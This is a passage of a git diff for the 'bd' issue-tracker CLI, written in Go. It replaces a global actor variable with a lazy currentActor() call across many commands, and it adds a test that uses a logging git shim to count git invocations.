a/cmd/bd/quick_proxied_server.go +++ b/cmd/bd/quick_proxied_server.go @@ -47,7 +47,7 @@ func runQuickProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin Labels: labels, InheritLabelsFromParent: parentID != "", } - result, err := uw.IssueUseCase().CreateIssue(ctx, params, actor) + result, err := uw.IssueUseCase().CreateIssue(ctx, params, currentActor()) if err != nil { return nil, "", err } diff --git a/cmd/bd/ready.go b/cmd/bd/ready.go index babcefa35..7e7e8aacf 100644 --- a/cmd/bd/ready.go +++ b/cmd/bd/ready.go @@ -159,7 +159,7 @@ This is useful for agents executing molecules to see which steps can run next.`, return nil } claimed := res.Claimed - if err := commitPendingIfEmbedded(ctx, activeStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, activeStore, currentActor(), doltAutoCommitParams{ Command: "ready", IssueIDs: []string{claimed.ID}, }); err != nil { diff --git a/cmd/bd/ready_input.go b/cmd/bd/ready_input.go index 0643ae3bd..e55a830c4 100644 --- a/cmd/bd/ready_input.go +++ b/cmd/bd/ready_input.go @@ -260,7 +260,7 @@ func readyRoleRequest(in readyInput) issueops.ReadyRequest { // claimNextRequest is `bd ready --claim`'s request to the ReadyClaimer role: // the shared ready question above, plus the claimant. func claimNextRequest(in readyInput) issueops.ClaimNextRequest { - return issueops.ClaimNextRequest{Actor: actor, Filter: readyRoleRequest(in)} + return issueops.ClaimNextRequest{Actor: currentActor(), Filter: readyRoleRequest(in)} } // briefModeConflict reports the usage error for a --brief combination that no diff --git a/cmd/bd/reclaim.go b/cmd/bd/reclaim.go index 34b40d98b..2a5262d99 100644 --- a/cmd/bd/reclaim.go +++ b/cmd/bd/reclaim.go @@ -104,7 +104,7 @@ Examples: } ctx := rootCtx - reclaimed, err := store.ReclaimExpiredLeases(ctx, olderThan, filter, actor) + reclaimed, err := store.ReclaimExpiredLeases(ctx, olderThan, filter, currentActor()) if err != nil { return HandleErrorRespectJSON("reclaim: %v", err) } @@ -113,7 +113,7 @@ Examples: for _, r := range reclaimed { ids = append(ids, r.ID) } - if err := commitPendingIfEmbedded(ctx, store, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, store, currentActor(), doltAutoCommitParams{ Command: "reclaim", IssueIDs: ids, }); err != nil { diff --git a/cmd/bd/relate.go b/cmd/bd/relate.go index 987ccdff9..f87f644d4 100644 --- a/cmd/bd/relate.go +++ b/cmd/bd/relate.go @@ -111,7 +111,7 @@ func runRelate(cmd *cobra.Command, args []string) error { } // bd relate is an explicit dependency verb, so it records history like // bd link / bd dep add (EmitEvent); only structural edge wiring stays silent. - if err := store.AddDependencyWithOptions(ctx, dep1, actor, storage.DependencyAddOptions{EmitEvent: true}); err != nil { + if err := store.AddDependencyWithOptions(ctx, dep1, currentActor(), storage.DependencyAddOptions{EmitEvent: true}); err != nil { return fmt.Errorf("failed to add relates-to %s -> %s: %w", id1, id2, err) } // Add id2 -> id1 (bidirectional) @@ -120,7 +120,7 @@ func runRelate(cmd *cobra.Command, args []string) error { DependsOnID: id1, Type: types.DepRelatesTo, } - if err := store.AddDependencyWithOptions(ctx, dep2, actor, storage.DependencyAddOptions{EmitEvent: true}); err != nil { + if err := store.AddDependencyWithOptions(ctx, dep2, currentActor(), storage.DependencyAddOptions{EmitEvent: true}); err != nil { return fmt.Errorf("failed to add relates-to %s -> %s: %w", id2, id1, err) } @@ -190,11 +190,11 @@ func runUnrelate(cmd *cobra.Command, args []string) error { // bd unrelate is an explicit dependency verb, so it records history // (EmitEvent) like bd dep remove; only structural teardown stays silent. // Remove id1 -> id2 - if err := store.RemoveDependencyWithOptions(ctx, id1, id2, actor, storage.DependencyRemoveOptions{EmitEvent: true}); err != nil { + if err := store.RemoveDependencyWithOptions(ctx, id1, id2, currentActor(), storage.DependencyRemoveOptions{EmitEvent: true}); err != nil { return fmt.Errorf("failed to remove relates-to %s -> %s: %w", id1, id2, err) } // Remove id2 -> id1 (bidirectional) - if err := store.RemoveDependencyWithOptions(ctx, id2, id1, actor, storage.DependencyRemoveOptions{EmitEvent: true}); err != nil { + if err := store.RemoveDependencyWithOptions(ctx, id2, id1, currentActor(), storage.DependencyRemoveOptions{EmitEvent: true}); err != nil { return fmt.Errorf("failed to remove relates-to %s -> %s: %w", id2, id1, err) } diff --git a/cmd/bd/relate_proxied_server.go b/cmd/bd/relate_proxied_server.go index 601b1a30d..34a6d688f 100644 --- a/cmd/bd/relate_proxied_server.go +++ b/cmd/bd/relate_proxied_server.go @@ -66,7 +66,7 @@ func runRelateProxiedServer(ctx context.Context, args []string) error { } // bd relate is an explicit dependency verb, so the bulk path's // EmitEvent trail matches the direct route's history behavior. - if _, err := uw.DependencyUseCase().AddDependencies(ctx, deps, actor, domain.BulkAddDepsOpts{}); err != nil { + if _, err := uw.DependencyUseCase().AddDependencies(ctx, deps, currentActor(), domain.BulkAddDepsOpts{}); err != nil { return "", err } return fmt.Sprintf("bd: relate %s %s", id1, id2), nil @@ -111,11 +111,11 @@ func runUnrelateProxiedServer(ctx context.Context, args []string) error { return "", fmt.Errorf("issue not found: %s", id) } } - removed1, err := uw.DependencyUseCase().RemoveDependencyBySource(ctx, id1, id2, actor) + removed1, err := uw.DependencyUseCase().RemoveDependencyBySource(ctx, id1, id2, currentActor()) if err != nil { return "", fmt.Errorf("failed to remove relates-to %s -> %s: %w", id1, id2, err) } - removed2, err := uw.DependencyUseCase().RemoveDependencyBySource(ctx, id2, id1, actor) + removed2, err := uw.DependencyUseCase().RemoveDependencyBySource(ctx, id2, id1, currentActor()) if err != nil { return "", fmt.Errorf("failed to remove relates-to %s -> %s: %w", id2, id1, err) } diff --git a/cmd/bd/rename_prefix.go b/cmd/bd/rename_prefix.go index 0ff1c8c91..68936732b 100644 --- a/cmd/bd/rename_prefix.go +++ b/cmd/bd/rename_prefix.go @@ -112,7 +112,7 @@ NOTE: This is a rare operation. Most users never need this command.`, ) } - if err := repairPrefixes(ctx, store, actor, newPrefix, issues, prefixes, dryRun); err != nil { + if err := repairPrefixes(ctx, store, currentActor(), newPrefix, issues, prefixes, dryRun); err != nil { return HandleError("failed to repair prefixes: %v", err) } if !dryRun { @@ -456,7 +456,7 @@ func renamePrefixInDB(ctx context.Context, oldPrefix, newPrefix string, issues [ continue } - if err := renameIssueKeepingBeadGates(ctx, store, issue, newID, gates[oldID], actor); err != nil { + if err := renameIssueKeepingBeadGates(ctx, store, issue, newID, gates[oldID], currentActor()); err != nil { return fmt.Errorf("failed to update issue %s: %w", oldID, err) } } diff --git a/cmd/bd/reopen.go b/cmd/bd/reopen.go index 6bdb3f7cd..6a6635e23 100644 --- a/cmd/bd/reopen.go +++ b/cmd/bd/reopen.go @@ -96,7 +96,7 @@ another actor won the race, so retrying the same guard is pointless).`, continue } reopened, err := ops.Reopen(opsCtx, issueops.ReopenRequest{ - Actor: actor, + Actor: currentActor(), IssueID: fullID, Reason: reason, ExpectedVersion: ifRevision, @@ -150,7 +150,7 @@ another actor won the race, so retrying the same guard is pointless).`, } for s, ids := range mutatedStores { - if err := commitPendingIfEmbedded(ctx, s, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, s, currentActor(), doltAutoCommitParams{ Command: "reopen", IssueIDs: ids, }); err != nil { diff --git a/cmd/bd/reopen_proxied_server.go b/cmd/bd/reopen_proxied_server.go index a9fadd638..e61f85a22 100644 --- a/cmd/bd/reopen_proxied_server.go +++ b/cmd/bd/reopen_proxied_server.go @@ -66,7 +66,7 @@ func runReopenProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri reopenedIssues := []*types.Issue{} for _, target := range targets { result, err := lifecycle.Reopen(ctx, issueops.ReopenRequest{ - Actor: actor, + Actor: currentActor(), IssueID: target.id, Reason: reason, ExpectedVersion: ifRevision, @@ -94,7 +94,7 @@ func runReopenProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri continue } - audit.LogFieldChange(target.id, "status", string(target.status), string(types.StatusOpen), actor, reason) + audit.LogFieldChange(target.id, "status", string(target.status), string(types.StatusOpen), currentActor(), reason) if jsonOut { if issue := result.Issue; issue != nil { // `bd reopen` has never printed dependency records, on either diff --git a/cmd/bd/ship.go b/cmd/bd/ship.go index a8c0908ed..9e56be5bd 100644 --- a/cmd/bd/ship.go +++ b/cmd/bd/ship.go @@ -127,7 +127,7 @@ func runShip(cmd *cobra.Command, args []string) error { return nil } - if err := store.AddLabel(ctx, issue.ID, providesLabel, actor); err != nil { + if err := store.AddLabel(ctx, issue.ID, providesLabel, currentActor()); err != nil { return HandleErrorRespectJSON("adding label: %v", err) } diff --git a/cmd/bd/startup_git_exec_embedded_test.go b/cmd/bd/startup_git_exec_embedded_test.go new file mode 100644 index 000000000..a74194207 --- /dev/null +++ b/cmd/bd/startup_git_exec_embedded_test.go @@ -0,0 +1,176 @@ +//go:build cgo && linux + +package main + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// gitExecRecorder puts a `git` shim first on PATH that logs each invocation's +// arguments and then runs the real git, so a test can count the git processes +// a bd subprocess spawns. +type gitExecRecorder struct { + shimDir, log string +} + +func newGitExecRecorder(t *testing.T) *gitExecRecorder { + t.Helper() + realGit, err := exec.LookPath("git") + if err != nil { + t.Skipf("git not found: %v", err) + } + r := &gitExecRecorder{shimDir: t.TempDir()} + r.log = filepath.Join(r.shimDir, "git-calls.log") + script := "#!/bin/sh\nprintf '%s\\n' \"$*\" >> '" + r.log + "'\nexec '" + realGit + "' \"$@\"\n" + if err := os.WriteFile(filepath.Join(r.shimDir, "git"), []byte(script), 0o755); err != nil { // #nosec G306 -- test shim must be executable + t.Fatal(err) + } + return r +} + +// run runs bd in dir with the shim on PATH and returns stdout plus the git +// invocations it made. +func (r *gitExecRecorder) run(t *testing.T, bd, dir string, args ...string) (string, []string) { + t.Helper() + if err := os.Remove(r.log); err != nil && !os.IsNotExist(err) { + t.Fatal(err) + } + cmd := exec.Command(bd, args...) + cmd.Dir = dir + // Drop every GIT_* variable but the config-file selectors: any of + // internal/git's discovery overrides (GIT_DIR, GIT_WORK_TREE, + // GIT_COMMON_DIR, GIT_CEILING_DIRECTORIES, GIT_DISCOVERY_ACROSS_FILESYSTEM, + // GIT_OBJECT_DIRECTORY, GIT_CONFIG_PARAMETERS, GIT_CONFIG_COUNT with its + // GIT_CONFIG_KEY_n/VALUE_n, ...) exported by the runner — a `git -c` + // wrapper, a hook context — would rightly send bd back to git rev-parse. + var env []string + for _, kv := range envWithout(envWithout(bdEnv(dir), "BD_ACTOR"), "PATH") { + name, _, _ := strings.Cut(kv, "=") + if strings.HasPrefix(name, "GIT_") && name != "GIT_CONFIG_GLOBAL" && + name != "GIT_CONFIG_SYSTEM" && name != "GIT_CONFIG_NOSYSTEM" { + continue + } + env = append(env, kv) + } + // backup.enabled stays at its default, so embedded auto-backup asks + // whether a git remote exists after every command (isBackupAutoEnabled). + // Global and system git config are pinned (empty, none) so the answer + // does not depend on the host's ~/.gitconfig — an include there would + // rightly send that probe to `git remote`. + env = envWithout(envWithout(env, "BD_BACKUP_ENABLED"), "BEADS_BACKUP_ENABLED") + for _, name := range []string{"GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM", "GIT_CONFIG_NOSYSTEM"} { + env = envWithout(env, name) + } + emptyGlobal := filepath.Join(r.shimDir, "empty.gitconfig") + if err := os.WriteFile(emptyGlobal, nil, 0o600); err != nil { + t.Fatal(err) + } + cmd.Env = append(env, "GIT_CONFIG_GLOBAL="+emptyGlobal, "GIT_CONFIG_NOSYSTEM=1", + "PATH="+r.shimDir+string(os.PathListSeparator)+os.Getenv("PATH")) + out, err := cmd.Output() + if err != nil { + var stderr string + if exit, ok := err.(*exec.ExitError); ok { + stderr = string(exit.Stderr) + } + t.Fatalf("bd %s: %v\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), err, out, stderr) + } + data, err := os.ReadFile(r.log) + if err != nil && !os.IsNotExist(err) { + t.Fatal(err) + } + var calls []string + for _, line := range strings.Split(strings.TrimSpace(string(data)), "\n") { + if line != "" { + calls = append(calls, line) + } + } + return string(out), calls +} + +// TestEmbeddedReadOnlyCommandsSpawnNoGit pins the per-call cost tools that +// call bd by the hundred depend on: a read-only command resolves the +// repository in-process, never needs the actor, and decides embedded +// auto-backup (default backup.enabled, with and without a git remote) without +// git, so it runs no git at all — from the main checkout and from a linked +// worktree sharing its database. A write still resolves the actor from git +// config user.name, lazily and to the same value. +func TestEmbeddedReadOnlyCommandsSpawnNoGit(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "gx") + issue := bdCreate(t, bd, dir, "startup git probe") + + worktree := filepath.Join(filepath.Dir(dir), filepath.Base(dir)+"-wt") + t.Cleanup(func() { _ = os.RemoveAll(worktree) }) + noHooks := "core.hooksPath=" + t.TempDir() // keep bd's installed hooks out of fixture setup + for _, args := range [][]string{ + {"-c", noHooks, "commit", "--allow-empty", "--no-verify", "-m", "base"}, + {"-c", noHooks, "worktree", "add", "-q", worktree}, + } { + cmd := gitCommand(args...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %s: %v\n%s", strings.Join(args, " "), err, out) + } + } + + rec := newGitExecRecorder(t) + reads := func(phase string) { + t.Helper() + for _, location := range []struct{ name, dir string }{ + {"main checkout", dir}, + {"linked worktree", worktree}, + } { + for _, args := range [][]string{ + {"list", "--json"}, + {"show", issue.ID, "--json"}, + } { + out, calls := rec.run(t, bd, location.dir, args...) + if !strings.Contains(out, issue.ID) { + t.Fatalf("%s, %s: bd %s did not find %s:\n%s", phase, location.name, args[0], issue.ID, out) + } + if len(calls) != 0 { + t.Errorf("%s, %s: bd %s spawned %d git process(es), want 0:\n%s", + phase, location.name, args[0], len(calls), strings.Join(calls, "\n")) + } + } + } + } + // No git remote: auto-backup stays off, decided without running git. + reads("no git remote") + // With a remote, auto-backup turns on (still decided in-process); the + // first read may run the backup itself, which needs no git either. + addRemote := gitCommand("remote", "add", "origin", "https://example.invalid/gitcalls.git") + addRemote.Dir, addRemote.Env = dir, bdEnv(dir) + if out, err := addRemote.CombinedOutput(); err != nil { + t.Fatalf("git remote add: %v\n%s", err, out) + } + reads("git remote configured") + + // Positive control for the shim, and the deferred actor's value: a write + // asks git for user.name exactly once and records it as before. + out, calls := rec.run(t, bd, dir, "create", "--json", "lazy actor") + created := parseIssueJSON(t, []byte(out)) + if created.CreatedBy != "Test" { + t.Errorf("created_by = %q, want git user.name %q", created.CreatedBy, "Test") + } + nameLookups := 0 + for _, call := range calls { + if call == "config user.name" { + nameLookups++ + } + } + if nameLookups != 1 { + t.Errorf("bd create ran `git config user.name` %d times, want 1; calls:\n%s", nameLookups, strings.Join(calls, "\n")) + } +} diff --git a/cmd/bd/state.go b/cmd/bd/state.go index a3ad36623..b689b0f28 100644 --- a/cmd/bd/state.go +++ b/cmd/bd/state.go @@ -226,7 +226,7 @@ func runSetState(ctx context.Context, issueID, dimension, newValue, reason strin // could not write, so an event that disagreed with its subject's plane // fails the command instead of silently landing in the wrong table. created, err := lifecycle.Create(ctx, issueops.CreateRequest{ - Actor: actor, + Actor: currentActor(), Issue: &types.Issue{ Title: eventTitle, Description: eventDesc, @@ -254,7 +254,7 @@ func runSetState(ctx context.Context, issueID, dimension, newValue, reason strin // failed. The plane needs no branch: IssuePlaneOnly stays false and the // role resolves it inside its own transaction. if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ - Actor: actor, + Actor: currentActor(), IssueID: fullID, Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{ Add: []string{newLabel}, diff --git a/cmd/bd/status.go b/cmd/bd/status.go index 855f67679..f5deaac38 100644 --- a/cmd/bd/status.go +++ b/cmd/bd/status.go @@ -88,7 +88,7 @@ Examples: // --no-blocked is not consulted here, and never was: an // assignee-scoped summary computes both numbers by a route that has // no fast path (issueops.StatsReporter.AssigneeStats). - result, err = reporter.AssigneeStats(rootCtx, issueops.AssigneeStatsRequest{Assignee: actor}) + result, err = reporter.AssigneeStats(rootCtx, issueops.AssigneeStatsRequest{Assignee: currentActor()}) } else { result, err = reporter.Stats(rootCtx, issueops.StatsRequest{SkipBlocked: noBlocked}) if err == nil && noBlocked && result.Summary.BlockedIssues != nil { diff --git a/cmd/bd/swarm.go b/cmd/bd/swarm.go index 996eefc40..9d066a023 100644 --- a/cmd/bd/swarm.go +++ b/cmd/bd/swarm.go @@ -1001,10 +1001,10 @@ Examples: Status: types.StatusOpen, Priority: issue.Priority, IssueType: types.TypeEpic, - CreatedBy: actor, + CreatedBy: currentActor(), } - if err := store.CreateIssue(ctx, wrapperEpic, actor); err != nil { + if err := store.CreateIssue(ctx, wrapperEpic, currentActor()); err != nil { return HandleErrorRespectJSON("failed to create wrapper epic: %v", err) } @@ -1012,9 +1012,9 @@ Examples: IssueID: issue.ID, DependsOnID: wrapperEpic.ID, Type: types.DepParentChild, - CreatedBy: actor, + CreatedBy: currentActor(), } - if err := store.AddDependency(ctx, dep, actor); err != nil { + if err := store.AddDependency(ctx, dep, currentActor()); err != nil { return HandleErrorRespectJSON("failed to link issue to epic: %v", err) } @@ -1081,10 +1081,10 @@ Examples: IssueType: "molecule", MolType: types.MolTypeSwarm, Assignee: coordinator, - CreatedBy: actor, + CreatedBy: currentActor(), } - if err := store.CreateIssue(ctx, swarmMol, actor); err != nil { + if err := store.CreateIssue(ctx, swarmMol, currentActor()); err != nil { return HandleErrorRespectJSON("failed to create swarm molecule: %v", err) } @@ -1092,9 +1092,9 @@ Examples: IssueID: swarmMol.ID, DependsOnID: epicID, Type: types.DepRelatesTo, - CreatedBy: actor, + CreatedBy: currentActor(), } - if err := store.AddDependency(ctx, dep, actor); err != nil { + if err := store.AddDependency(ctx, dep, currentActor()); err != nil { return HandleErrorRespectJSON("failed to link swarm to epic: %v", err) } diff --git a/cmd/bd/sync_push_pull.go b/cmd/bd/sync_push_pull.go index 63a2263ff..0e6b289da 100644 --- a/cmd/bd/sync_push_pull.go +++ b/cmd/bd/sync_push_pull.go @@ -272,7 +272,7 @@ func runADOPush(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing Azure DevOps tracker: %w", err) } - engine := tracker.NewEngine(at, store, actor) + engine := tracker.NewEngine(at, store, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } @@ -319,7 +319,7 @@ func runADOPull(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing Azure DevOps tracker: %w", err) } - engine := tracker.NewEngine(at, store, actor) + engine := tracker.NewEngine(at, store, currentActor()) engine.PullHooks = buildADOPullHooks(ctx, at, false, false, new(int), engine.OnWarning) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } @@ -369,7 +369,7 @@ func runJiraPush(cmd *cobra.Command, args []string) error { return HandleError("initializing Jira tracker: %v", err) } - engine := tracker.NewEngine(jt, trackerStore, actor) + engine := tracker.NewEngine(jt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PushHooks = buildJiraPushHooksForStore(ctx, trackerStore) @@ -417,7 +417,7 @@ func runJiraPull(cmd *cobra.Command, args []string) error { return HandleError("initializing Jira tracker: %v", err) } - engine := tracker.NewEngine(jt, trackerStore, actor) + engine := tracker.NewEngine(jt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } @@ -487,7 +487,7 @@ func runLinearPush(cmd *cobra.Command, args []string) error { return HandleError("%v", err) } - engine := tracker.NewEngine(lt, trackerStore, actor) + engine := tracker.NewEngine(lt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PushHooks = buildLinearPushHooksForStore(ctx, trackerStore, lt, len(args) > 0) @@ -552,12 +552,12 @@ func runLinearPull(cmd *cobra.Command, args []string) error { return HandleError("initializing Linear tracker: %v", err) } - engine := tracker.NewEngine(lt, trackerStore, actor) + engine := tracker.NewEngine(lt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PullHooks = buildLinearPullHooksForStore(ctx, trackerStore, linearPullHookOptions{ DryRun: dryRun, - Actor: actor, + Actor: currentActor(), }) result, err := engine.Sync(ctx, tracker.SyncOptions{ @@ -606,7 +606,7 @@ func runGitHubPush(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing GitHub tracker: %w", err) } - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PushHooks = buildGitHubPushHooks(gt) @@ -668,7 +668,7 @@ func runGitHubPull(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing GitHub tracker: %w", err) } - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) engine.PullHooks = buildGitHubPullHooks(ctx) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } @@ -719,7 +719,7 @@ func runGitLabPush(cmd *cobra.Command, args []string) error { } out := cmd.OutOrStdout() - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) engine.OnMessage = func(msg string) { if !jsonOutput { fmt.Fprintln(out, " "+msg) @@ -821,7 +821,7 @@ func runGitLabPull(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing GitLab tracker: %w", err) } - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) engine.PullHooks = buildGitLabPullHooks(ctx) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } @@ -875,7 +875,7 @@ func runNotionPush(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing Notion tracker: %w", err) } - engine := tracker.NewEngine(nt, store, actor) + engine := tracker.NewEngine(nt, store, currentActor()) unsupportedStats := newNotionUnsupportedPushStats() engine.PushHooks = buildNotionPushHooks(ctx, nt, unsupportedStats) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } @@ -929,7 +929,7 @@ func runNotionPull(cmd *cobra.Command, args []string) error { return fmt.Errorf("initializing Notion tracker: %w", err) } - engine := tracker.NewEngine(nt, store, actor) + engine := tracker.NewEngine(nt, store, currentActor()) engine.PullHooks = buildNotionPullHooks(ctx) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } diff --git a/cmd/bd/tag.go b/cmd/bd/tag.go index 096b5f66c..02e4db5de 100644 --- a/cmd/bd/tag.go +++ b/cmd/bd/tag.go @@ -67,10 +67,10 @@ Examples: return HandleErrorRespectJSON("%s", err) } - if err := issueStore.AddLabel(ctx, result.ResolvedID, label, actor); err != nil { + if err := issueStore.AddLabel(ctx, result.ResolvedID, label, currentActor()); err != nil { return HandleErrorRespectJSON("adding label to %s: %v", id, err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "tag", IssueIDs: []string{result.ResolvedID}, }); err != nil { diff --git a/cmd/bd/unclaim.go b/cmd/bd/unclaim.go index f900e1750..3dd59a8fe 100644 --- a/cmd/bd/unclaim.go +++ b/cmd/bd/unclaim.go @@ -90,9 +90,9 @@ Examples: var unclaimErr error if conditional { - unclaimErr = issueStore.UnclaimIssueIfAssignee(ctx, fullID, actor, ifAssignee) + unclaimErr = issueStore.UnclaimIssueIfAssignee(ctx, fullID, currentActor(), ifAssignee) } else { - unclaimErr = issueStore.UnclaimIssue(ctx, fullID, actor, force) + unclaimErr = issueStore.UnclaimIssue(ctx, fullID, currentActor(), force) } if unclaimErr != nil { fmt.Fprintf(os.Stderr, "Error unclaiming %s: %v\n", fullID, unclaimErr) @@ -102,7 +102,7 @@ Examples: } if reason != "" { - if _, err := issueStore.AddIssueComment(ctx, fullID, actor, reason); err != nil { + if _, err := issueStore.AddIssueComment(ctx, fullID, currentActor(), reason); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to add reason comment: %v\n", err) } } diff --git a/cmd/bd/unclaim_proxied_server.go b/cmd/bd/unclaim_proxied_server.go index 85b56acc2..9269beb88 100644 --- a/cmd/bd/unclaim_proxied_server.go +++ b/cmd/bd/unclaim_proxied_server.go @@ -62,9 +62,9 @@ func runUnclaimProxiedServer(ctx context.Context, args []string, reason string, var uerr error if expectedAssignee != "" { - uerr = uw.IssueUseCase().UnclaimIfAssignee(ctx, fullID, actor, expectedAssignee) + uerr = uw.IssueUseCase().UnclaimIfAssignee(ctx, fullID, currentActor(), expectedAssignee) } else { - uerr = uw.IssueUseCase().Unclaim(ctx, fullID, actor, force) + uerr = uw.IssueUseCase().Unclaim(ctx, fullID, currentActor(), force) } if uerr != nil { r.errs = append(r.errs, fmt.Sprintf("Error unclaiming %s: %v", fullID, uerr)) @@ -72,7 +72,7 @@ func runUnclaimProxiedServer(ctx context.Context, args []string, reason string, } if reason != "" { - if _, cerr := uw.CommentUseCase().AddCommentToIssue(ctx, fullID, actor, reason); cerr != nil { + if _, cerr := uw.CommentUseCase().AddCommentToIssue(ctx, fullID, currentActor(), reason); cerr != nil { r.errs = append(r.errs, fmt.Sprintf("Warning: failed to add reason comment on %s: %v", fullID, cerr)) } } @@ -129,7 +129,7 @@ func runReclaimProxiedServer(ctx context.Context, olderThan time.Duration, filte } reclaimed, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) ([]types.ReclaimedLease, string, error) { - out, rerr := uw.IssueUseCase().ReclaimExpiredLeases(ctx, olderThan, filter, actor) + out, rerr := uw.IssueUseCase().ReclaimExpiredLeases(ctx, olderThan, filter, currentActor()) if rerr != nil { return nil, "", rerr } diff --git a/cmd/bd/undefer.go b/cmd/bd/undefer.go index 08e251c6a..b89907be8 100644 --- a/cmd/bd/undefer.go +++ b/cmd/bd/undefer.go @@ -89,7 +89,7 @@ Examples: updates["status"] = string(types.StatusOpen) } - if err := store.UpdateIssue(ctx, fullID, updates, actor); err != nil { + if err := store.UpdateIssue(ctx, fullID, updates, currentActor()); err != nil { fmt.Fprintf(os.Stderr, "Error undeferring %s: %v\n", fullID, err) continue } diff --git a/cmd/bd/update.go b/cmd/bd/update.go index 1510b8c78..09e8edb64 100644 --- a/cmd/bd/update.go +++ b/cmd/bd/update.go @@ -511,7 +511,7 @@ pointless).`, // the actor's own fresh claim. A policy refusal, so it exits 1, // not 13. if newAssignee, ok := updates["assignee"].(string); ok && ifAssignee == nil && !claimFlag && !ifRevisionAlreadyStale(issue, ifRevision) { - if err := validateIssueReassignable(id, issue, actor, newAssignee, + if err := validateIssueReassignable(id, issue, currentActor(), newAssignee, storeClaimPoolAliases(ctx, issueStore), forceFlag); err != nil { fmt.Fprintf(os.Stderr, "%s\n", err) recordFailure(id, err.Error()) @@ -552,7 +552,7 @@ pointless).`, // through: `--force -s closed` is now a legitimate way to ask for // the close-policy half alone. updateResult, updateErr := runCommandUpdateMutation(opsCtx, ops, commandUpdateMutation{ - actor: actor, + actor: currentActor(), issueID: result.ResolvedID, patch: patch, claim: claimFlag, @@ -602,13 +602,13 @@ pointless).`, } // Audit log key field changes (survives Dolt GC flatten) if patch.Status.Set { - audit.LogFieldChange(result.ResolvedID, "status", string(issue.Status), string(patch.Status.Value), actor, "") + audit.LogFieldChange(result.ResolvedID, "status", string(issue.Status), string(patch.Status.Value), currentActor(), "") } if patch.Assignee.Set { - audit.LogFieldChange(result.ResolvedID, "assignee", issue.Assignee, patch.Assignee.Value, actor, "") + audit.LogFieldChange(result.ResolvedID, "assignee", issue.Assignee, patch.Assignee.Value, currentActor(), "") } if patch.Priority.Set { - audit.LogFieldChange(result.ResolvedID, "priority", fmt.Sprintf("%d", issue.Priority), fmt.Sprintf("%d", patch.Priority.Value), actor, "") + audit.LogFieldChange(result.ResolvedID, "priority", fmt.Sprintf("%d", issue.Priority), fmt.Sprintf("%d", patch.Priority.Value), currentActor(), "") } // The operation's own post-state snapshot replaces the re-read. @@ -642,7 +642,7 @@ pointless).`, if s == nil { continue } - if err := commitPendingIfEmbedded(ctx, s, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, s, currentActor(), doltAutoCommitParams{ Command: "update", IssueIDs: ids, }); err != nil { diff --git a/cmd/bd/update_proxied_server.go b/cmd/bd/update_proxied_server.go index fee3e9225..5d74583b2 100644 --- a/cmd/bd/update_proxied_server.go +++ b/cmd/bd/update_proxied_server.go @@ -127,7 +127,7 @@ func applyUpdateProxiedOne(ctx context.Context, id string, in *updateInput) (*ty expectedStatus = &expected } result, err := runCommandUpdateMutation(ctx, ops, commandUpdateMutation{ - actor: actor, + actor: currentActor(), issueID: id, 